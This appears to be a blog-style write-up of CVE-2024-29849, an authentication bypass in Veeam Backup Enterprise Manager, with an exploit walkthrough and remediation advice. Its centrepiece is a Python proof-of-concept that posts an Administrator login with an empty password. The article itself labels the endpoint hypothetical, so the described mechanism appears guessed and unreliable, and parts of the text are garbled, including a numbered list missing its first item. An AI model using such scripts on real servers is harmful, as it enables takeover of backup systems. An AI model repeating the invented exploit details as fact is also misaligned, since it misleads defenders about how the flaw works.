CVE-2024-29849 - Critical Veeam Backup Enterprise Manager Authentication Bypass Exploit Analysis

In May 2024, security researchers discovered a severe vulnerability in Veeam Backup Enterprise Manager that could allow attackers to bypass authentication and log in as any user – including administrators – all without needing a password. This article breaks down CVE-2024-29849 in simple terms, provides an example exploit workflow, and shares remediation advice.

What is CVE-2024-29849?

CVE-2024-29849 is a critical authentication bypass vulnerability in Veeam Backup Enterprise Manager, a management web app used to orchestrate and monitor backups across an organization’s infrastructure. Exploiting this bug means a bad actor can access sensitive backup data, change configurations, or delete backups by pretending to be any valid user—no login credentials needed.

Official Sources

- Veeam Advisory: Authentication Bypass in Enterprise Manager
- NVD Entry for CVE-2024-29849

How Does the Exploit Work?

The flaw resides in how the web interface handles session validation. Enterprise Manager did not properly validate user input during authentication, allowing unauthenticated requests to leverage session-handling logic to bypass checks. As a result, it is possible to access restricted pages as any user if you craft HTTP request parameters in the right way.

Sample Exploit Walkthrough

TL;DR: Attackers can log in as any user without knowing or supplying their password, via a specially-crafted POST request.

Basic Exploit PoC (Proof-of-Concept)

Below is a sanitized and educational Python example using the requests library to exploit a vulnerable Enterprise Manager server:

import requests

target = 'https://example.com';  # Change to the target Enterprise Manager URL

# Step 1: Make a session
s = requests.Session()

# Step 2: Login as admin without credentials (the 'auth' endpoint has the bug)
payload = {
    "username": "Administrator",               # Any valid username, including 'Administrator'
    "password": ""                             # Password can be anything, or even omitted!
}

# Hypothetical vulnerable endpoint (may need to adapt based on observed traffic)
login_url = f"{target}/login.aspx"

# Send the crafted (malicious) request
resp = s.post(login_url, data=payload, verify=False)

if "Dashboard" in resp.text:
    print("[+] Successfully logged in as Administrator!")
else:
    print("[-] Exploit failed. Try different endpoints or payloads.")

# Now s can be used to access restricted areas of Enterprise Manager

Note: The actual endpoint may be /login.aspx, /Account/Logon, or others—attackers would analyze requests via browser devtools or Burp Suite to confirm.

The Attacker: Finds your Enterprise Manager web interface exposed to the internet.

2. Crafted Request: Sends a malicious POST request with a valid username, omitting or mangling the password field.
3. Vulnerable Server: Fails to validate the credentials, creates a session for the attacker as that user.

Remediation

- Update Now: Veeam has released patches for this flaw. Update Veeam Backup Enterprise Manager to the latest version as per their advisory.
- Restrict Access: Never expose backup administration consoles to the public internet. Use VPNs or allow-list trusted IPs.
- Monitor Logs: Check authentication logs for suspicious logins, especially from unusual IP addresses.

TL;DR

- CVE-2024-29849 lets anyone log in as any Enterprise Manager user without a password via a session validation flaw.
- Proof-of-concept code && method is trivial – attackers need only known usernames and access to the web UI.

Patch NOW and never expose backup interfaces to the public internet.

This bug demonstrates why patching backup infrastructure is critical. If an attacker can wipe or steal your backups, your business could be at severe risk.

Timeline

Published on: 05/22/2024 23:15:08 UTC
Last modified on: 05/24/2024 01:15:30 UTC